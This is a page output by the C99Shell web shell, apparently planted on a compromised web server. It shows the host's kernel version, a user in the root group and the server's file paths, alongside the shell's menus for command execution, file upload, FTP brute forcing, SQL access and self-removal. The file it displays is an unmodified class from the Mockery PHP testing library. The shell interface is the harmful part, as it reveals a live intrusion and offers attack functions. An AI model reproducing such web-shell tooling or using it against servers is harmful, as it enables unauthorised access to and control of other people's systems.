!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/mockery/mockery/library/Mockery/Generator/   drwxr-xr-x
Free 23.37 GB of 117.98 GB (19.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DefinedTargetClass.php (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Mockery (https://docs.mockery.io/)
 *
 * @copyright https://github.com/mockery/mockery/blob/HEAD/COPYRIGHT.md
 * @license https://github.com/mockery/mockery/blob/HEAD/LICENSE BSD 3-Clause License
 * @link https://github.com/mockery/mockery for the canonical source repository
 */

namespace Mockery\Generator;

use 
ReflectionAttribute;
use 
ReflectionClass;
use 
ReflectionMethod;

use function 
array_map;
use function 
array_merge;
use function 
array_unique;

use const 
PHP_VERSION_ID;

class 
DefinedTargetClass implements TargetClassInterface
{
    
/**
     * @var class-string
     */
    
private $name;

    
/**
     * @var ReflectionClass
     */
    
private $rfc;

    
/**
     * @param ReflectionClass   $rfc
     * @param class-string|null $alias
     */
    
public function __construct(ReflectionClass $rfc$alias null)
    {
        
$this->rfc $rfc;
        
$this->name $alias ?? $rfc->getName();
    }

    
/**
     * @return class-string
     */
    
public function __toString()
    {
        return 
$this->name;
    }

    
/**
     * @param  class-string      $name
     * @param  class-string|null $alias
     * @return self
     */
    
public static function factory($name$alias null)
    {
        return new 
self(new ReflectionClass($name), $alias);
    }

    
/**
     * @return list<class-string>
     */
    
public function getAttributes()
    {
        if (
PHP_VERSION_ID 80000) {
            return [];
        }

        return 
array_unique(
            
array_merge(
                [
'\AllowDynamicProperties'],
                
array_map(
                    static function (
ReflectionAttribute $attribute): string {
                        return 
'\\' $attribute->getName();
                    },
                    
$this->rfc->getAttributes()
                )
            )
        );
    }

    
/**
     * @return array<class-string,self>
     */
    
public function getInterfaces()
    {
        return 
array_map(
            static function (
ReflectionClass $interface): self {
                return new 
self($interface);
            },
            
$this->rfc->getInterfaces()
        );
    }

    
/**
     * @return list<Method>
     */
    
public function getMethods()
    {
        return 
array_map(
            static function (
ReflectionMethod $method): Method {
                return new 
Method($method);
            },
            
$this->rfc->getMethods()
        );
    }

    
/**
     * @return class-string
     */
    
public function getName()
    {
        return 
$this->name;
    }

    
/**
     * @return string
     */
    
public function getNamespaceName()
    {
        return 
$this->rfc->getNamespaceName();
    }

    
/**
     * @return string
     */
    
public function getShortName()
    {
        return 
$this->rfc->getShortName();
    }

    
/**
     * @return bool
     */
    
public function hasInternalAncestor()
    {
        if (
$this->rfc->isInternal()) {
            return 
true;
        }

        
$child $this->rfc;
        while (
$parent $child->getParentClass()) {
            if (
$parent->isInternal()) {
                return 
true;
            }

            
$child $parent;
        }

        return 
false;
    }

    
/**
     * @param  class-string $interface
     * @return bool
     */
    
public function implementsInterface($interface)
    {
        return 
$this->rfc->implementsInterface($interface);
    }

    
/**
     * @return bool
     */
    
public function inNamespace()
    {
        return 
$this->rfc->inNamespace();
    }

    
/**
     * @return bool
     */
    
public function isAbstract()
    {
        return 
$this->rfc->isAbstract();
    }

    
/**
     * @return bool
     */
    
public function isFinal()
    {
        return 
$this->rfc->isFinal();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--